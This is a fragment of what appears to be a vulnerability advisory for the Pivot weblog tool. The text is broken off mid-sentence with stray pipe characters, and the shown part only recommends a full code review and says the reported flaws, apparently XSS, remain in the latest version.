Info: Pivot is a web-based tool to help you maintain dynamic sites, like

weblogs or online journals. Pivot is released under the GPL so it is

additional libraries or databases to function.

|

|
|
|
|
-:: Solution ::-
|
|
The solution for this is not simple at all. I suggest a complete review
|
|
of the entire codebase.
|
|
|
|
Conclusion:
|
|
When we first checked the platform for vulnerabilities we had apparently
|
|
installed an old version, so we updated to the newest version which
|
|
apparently had some "XSS-bug fixed", strangely enough all the
|
|
vulnerabilities we found are still there.
